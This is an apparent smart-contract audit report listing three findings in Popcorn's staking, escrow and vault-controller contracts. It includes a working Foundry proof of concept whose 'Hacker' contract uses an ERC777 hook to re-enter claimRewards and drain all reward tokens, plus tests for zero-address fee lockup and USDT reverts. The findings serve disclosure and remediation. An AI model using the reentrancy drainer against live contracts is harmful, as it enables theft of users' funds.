Popcorn contest - 0xdeadbeef0x's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L170-L187

Vulnerability details

Impact

If ERC777 tokens are used for rewards, the entire balance of rewards in the staking contract can get drained by an attacker.

Proof of Concept

ERC777 allow users to register a hook to notify them when tokens are transferred to them.

This hook can be used to reenter the contract and drain the rewards.

The issue is in the claimRewards in MultiRewardStaking. The function does not follow the checks-effects-interactions pattern and therefore can be reentered when transferring tokens in the for loop. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L170-L187

  function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    for (uint8 i; i < _rewardTokens.length; i++) {
      uint256 rewardAmount = accruedRewards[user][_rewardTokens[i]];

      if (rewardAmount == 0) revert ZeroRewards(_rewardTokens[i]);

      EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]];

      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

      accruedRewards[user][_rewardTokens[i]] = 0;
    }

As can be seen above, the clearing of the accruedRewards is done AFTER the transfer when it should be BEFORE the transfer.

Foundry POC

The POC demonstrates and end-to-end attack including a malicious hacker contract that steals all the balance of the reward token.

Add the following file (drainRewards.t.sol) to the test directory: https://github.com/code-423n4/2023-01-popcorn/tree/main/test

// SPDX-License-Identifier: GPL-3.0
// Docgen-SOLC: 0.8.15

pragma solidity ^0.8.15;

import { Test } from "forge-std/Test.sol";
import { MockERC20 } from "./utils/mocks/MockERC20.sol";
import { IMultiRewardEscrow } from "../src/interfaces/IMultiRewardEscrow.sol";
import { MultiRewardStaking, IERC20 } from "../src/utils/MultiRewardStaking.sol";
import { MultiRewardEscrow } from "../src/utils/MultiRewardEscrow.sol";

import { ERC777 } from "openzeppelin-contracts/token/ERC777/ERC777.sol";

contract MockERC777 is ERC777 {
  uint8 internal _decimals;
  mapping(address => address) private registry;

    constructor() ERC777("MockERC777", "777", new address[](0)) {}


  function decimals() public pure override returns (uint8) {
    return uint8(18);
  }

  function mint(address to, uint256 value) public virtual {
    _mint(to, value, hex'', hex'', false);
  }

  function burn(address from, uint256 value) public virtual {
    _mint(from, value, hex'', hex'');
  }
}

contract Hacker {
    IERC20[] public rewardsTokenKeys;
    MultiRewardStaking staking;
    constructor(IERC20[] memory _rewardsTokenKeys, MultiRewardStaking _staking){
      rewardsTokenKeys = _rewardsTokenKeys;
      staking = _staking;

      // register hook
      bytes32 erc777Hash = keccak256("ERC777TokensRecipient");
      bytes memory data = abi.encodeWithSignature("setInterfaceImplementer(address,bytes32,address)", address(this), erc777Hash, address(this));
      address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).call(data);
    }

    // deposit into staking
    function approveAndDeposit() external {
      IERC20 stakingToken = IERC20(staking.asset());
      stakingToken.approve(address(staking), 1 ether);
      staking.deposit(1 ether);
    }

    function startHack() external {
      // Claim and reenter until staking contract is drained
      staking.claimRewards(address(this), rewardsTokenKeys);
    }
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
      // continue as long as the balance of the reward token is positive
      // In real life, we should check the lower boundry to prevent a revert
      // when trying to send more then the balance.
      if(ERC777(msg.sender).balanceOf(address(staking)) > 0){
        staking.claimRewards(address(this), rewardsTokenKeys);
      }
    }
}

contract DrainRewards is Test {
  MockERC20 stakingToken;
  MockERC777 rewardToken1;
  IERC20 iRewardToken1;
  MultiRewardStaking staking;
  MultiRewardEscrow escrow;

  address feeRecipient = address(0x9999);
  

  function setUp() public {
    stakingToken = new MockERC20("Staking Token", "STKN", 18);
    rewardToken1 = new MockERC777();
    iRewardToken1 = IERC20(address(rewardToken1));
    escrow = new MultiRewardEscrow(address(this), feeRecipient);
    staking = new MultiRewardStaking();
    staking.initialize(IERC20(address(stakingToken)), IMultiRewardEscrow(address(escrow)), address(this));
  }

  function _addRewardToken(MockERC777 rewardsToken) internal {
    rewardsToken.mint(address(this), 10 ether);
    rewardsToken.approve(address(staking), 10 ether);
    staking.addRewardToken(IERC20(address(rewardsToken)), 0.1 ether, 10 ether, false, 0, 0, 0);
  }

  function test__claim_reentrancy() public {
    // Prepare array for `claimRewards`
    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken1;

    // setup hacker contract
    Hacker hacker = new Hacker(rewardsTokenKeys, staking);
    address hackerAddr = address(hacker);
    stakingToken.mint(hackerAddr, 1 ether);
    hacker.approveAndDeposit();

    // Add reward token to staking 
    _addRewardToken(rewardToken1);

    // 10% of rewards paid out
    vm.warp(block.timestamp + 10);

    // Get the full rewards held by the staking contract
    uint256 full_rewards_amount = iRewardToken1.balanceOf(address(staking));

    // Call hacker to start claiming the rewards and reenter
    hacker.startHack();

    // validate we received 100% of rewards (10 eth)
    assertEq(rewardToken1.balanceOf(hackerAddr), full_rewards_amount);
  }
}

To run the POC, execute the following command:

forge test -m "test__claim_reentrancy" --fork-url=<MAINNET FORK>

Expected results:

Running 1 test for test/drainRewards.t.sol:DrainRewards
[PASS] test__claim_reentrancy() (gas: 1018771)
Test result: ok. 1 passed; 0 failed; finished in 6.46s

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

Follow the checks-effects-interactions pattern and clear out accruedRewards[user][_rewardTokens[i]] before transferring. Additionally, it would be a good idea to add a ReentrancyGuard modifier to the function

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L111

Vulnerability details

Impact

Vault creator can prevent users from claiming rewards from the staking contract. This can boost his liquidity and lure depositors to stake vault tokens. He can present a high APY and low fee percentage which will incentivize stakers

When the staking contract is empty of stakes, he can change the settings and claim all the rewards to himself.

Proof of Concept

Vault creator receives management fees from two places:

1. Deposits to the vault
2. Rewards locked in escrow

Users can claim staking rewards by calling the claimRewards function of the staking contract: https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L179

  function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    for (uint8 i; i < _rewardTokens.length; i++) {
      uint256 rewardAmount = accruedRewards[user][_rewardTokens[i]];

      if (rewardAmount == 0) revert ZeroRewards(_rewardTokens[i]);

      EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]];

      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

      accruedRewards[user][_rewardTokens[i]] = 0;
    }
  }

As can be seen above, if there is an escrow specified, percentage of rewards are sent to the escrow account through _lockToken: https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L201

  /// @notice Locks a percentage of a reward in an escrow contract. Pays out the rest to the user.
  function _lockToken(
    address user,
    IERC20 rewardToken,
    uint256 rewardAmount,
    EscrowInfo memory escrowInfo
  ) internal {
    uint256 escrowed = rewardAmount.mulDiv(uint256(escrowInfo.escrowPercentage), 1e18, Math.Rounding.Down);
    uint256 payout = rewardAmount - escrowed;

    rewardToken.safeTransfer(user, payout);
    escrow.lock(rewardToken, user, escrowed, escrowInfo.escrowDuration, escrowInfo.offset);
  }

escorw.lock will send fee to feeRecipient that is passed in the constructor of the escrow contract when there is a fee percentage defined. (This can be low in order to incentivize stakers) https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardEscrow.sol#L111

  constructor(address _owner, address _feeRecipient) Owned(_owner) {
    feeRecipient = _feeRecipient;
  }

------

  function lock(
    IERC20 token,
    address account,
    uint256 amount,
    uint32 duration,
    uint32 offset
  ) external {
-----
    uint256 feePerc = fees[token].feePerc;
    if (feePerc > 0) {
      uint256 fee = Math.mulDiv(amount, feePerc, 1e18);

      amount -= fee;
      token.safeTransfer(feeRecipient, fee);
    }
-----

The issue rises when feeRecipient is set to the zero address (0x0). safeTransfer will revert and the transaction of claiming rewards will fail (all the way through the claimRewards on the staking contract`.

User funds will be locked in the contract.

The vault creator can decide when is the right time to open the rewards up (maybe when nobody is invested in the vault) by changing the fee percentage to 0 using setFees, which bypass sending fees to feeReceipient. if the vault owner will be the only saker, he can receive all the deposited tokens back

Foundry POC

Add the following test:

// SPDX-License-Identifier: GPL-3.0
// Docgen-SOLC: 0.8.15

pragma solidity ^0.8.15;

import { Test } from "forge-std/Test.sol";
import { MockERC20 } from "./utils/mocks/MockERC20.sol";
import { IMultiRewardEscrow } from "../src/interfaces/IMultiRewardEscrow.sol";
import { MultiRewardStaking, IERC20 } from "../src/utils/MultiRewardStaking.sol";
import { MultiRewardEscrow } from "../src/utils/MultiRewardEscrow.sol";

contract NoRewards is Test {
  MockERC20 stakingToken;
  MockERC20 rewardToken1;
  MockERC20 rewardToken2;
  IERC20 iRewardToken1;
  IERC20 iRewardToken2;
  MultiRewardStaking staking;
  MultiRewardEscrow escrow;

  address alice = address(0xABCD);
  address bob = address(0xDCBA);

  ///////////// ZERO ADDRESS //////////
  address feeRecipient = address(0x0);
  

  function setUp() public {
    vm.label(alice, "alice");
    vm.label(bob, "bob");

    stakingToken = new MockERC20("Staking Token", "STKN", 18);

    rewardToken1 = new MockERC20("RewardsToken1", "RTKN1", 18);
    rewardToken2 = new MockERC20("RewardsToken2", "RTKN2", 18);
    iRewardToken1 = IERC20(address(rewardToken1));
    iRewardToken2 = IERC20(address(rewardToken2));

    escrow = new MultiRewardEscrow(address(this), feeRecipient);
    IERC20[] memory tokens = new IERC20[](2);
    tokens[0] = iRewardToken1;
    tokens[1] = iRewardToken2;
    uint256[] memory fees = new uint256[](2);
    fees[0] = 1e16;
    fees[1] = 1e16;

    escrow.setFees(tokens, fees);
    staking = new MultiRewardStaking();
    staking.initialize(IERC20(address(stakingToken)), IMultiRewardEscrow(address(escrow)), address(this));
  }

  function _addRewardToken(MockERC20 rewardsToken) internal {
    rewardsToken.mint(address(this), 10 ether);
    rewardsToken.approve(address(staking), 10 ether);
    staking.addRewardToken(IERC20(address(rewardsToken)), 0.1 ether, 10 ether, true, 30, 100, 0);
  }

  function test__no_rewards() public {
    // Prepare array for `claimRewards`
    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken1;

    _addRewardToken(rewardToken1);
    stakingToken.mint(alice, 5 ether);

    vm.startPrank(alice);
    stakingToken.approve(address(staking), 5 ether);
    staking.deposit(1 ether);

    // 10% of rewards paid out
    vm.warp(block.timestamp + 10);

    uint256 callTimestamp = block.timestamp;
    staking.claimRewards(alice, rewardsTokenKeys);
  }
}

test test__no_rewards

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Validate in the initialization of the staking contracts that escrow.feeRecipient is not the zero address

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/VaultController.sol#L456

Vulnerability details

Impact

Vaults can reward staking users for staking using ERC20 tokens. There are popular tokens such as USDT that do not implement the ERC20 standard properly. These tokens do not return boolean as a return value. Therefore the function signature does not match the interface Popcorn uses for ERC20 tokens.

The function will revert when approving/transferring these tokens.

Proof of Concept

addStakingRewardsTokens is used to add rewards token through the VaultController. https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/VaultController.sol#L456

  function addStakingRewardsTokens(address[] memory vaults, bytes[] memory rewardTokenData) public {
--------
      IERC20(rewardsToken).approve(staking, type(uint256).max);
      IERC20(rewardsToken).transferFrom(msg.sender, address(adminProxy), amount);
--------
  }

The function will revert when adding tokens such as USDT

Foundry POC

Add the following test to VaultController.t.sol: https://github.com/code-423n4/2023-01-popcorn/blob/main/test/vault/VaultController.t.sol

    function test__revertWhenAddingUsdt() public {
        address[] memory targets = new address[](1);
        bytes[] memory rewardsData = new bytes[](1);
        addTemplate("Adapter", templateId, adapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);
        address vault1 = deployVault();

        address staking = vaultRegistry.getVault(vault1).staking;

        IERC20 usdt = IERC20(address(0xdAC17F958D2ee523a2206206994597C13D831ec7)); 
        // get some USDT 
        deal(address(usdt), address(this), 10 ether);

        // usdt.approve(address(controller), 0);
        address(usdt).call(abi.encodeWithSignature("approve(address,uint256)", address(controller), 10 ether));

        // 
        targets[0] = vault1;
        rewardsData[0] = abi.encode(
            address(usdt),
            0.1 ether,
            1 ether,
            true,
            10000000,
            2 days,
            1 days
        );
        uint256 callTimestamp = block.timestamp;

        // Validate that we get a revert
        vm.expectRevert();
        controller.addStakingRewardsTokens(targets, rewardsData);
    }

to run the POC, execute the following:

forge test -m "test__revertWhenAddingUsdt" --fork-url=<MAINNET FORK>

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

Use OpenZeppelin's safeTransferFrom(). Additionally, USDT will also require to approve 0 before approving again. See: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7?a=0x5754284f345afc66a98fbb0a0afe71e0f007b949#code#L205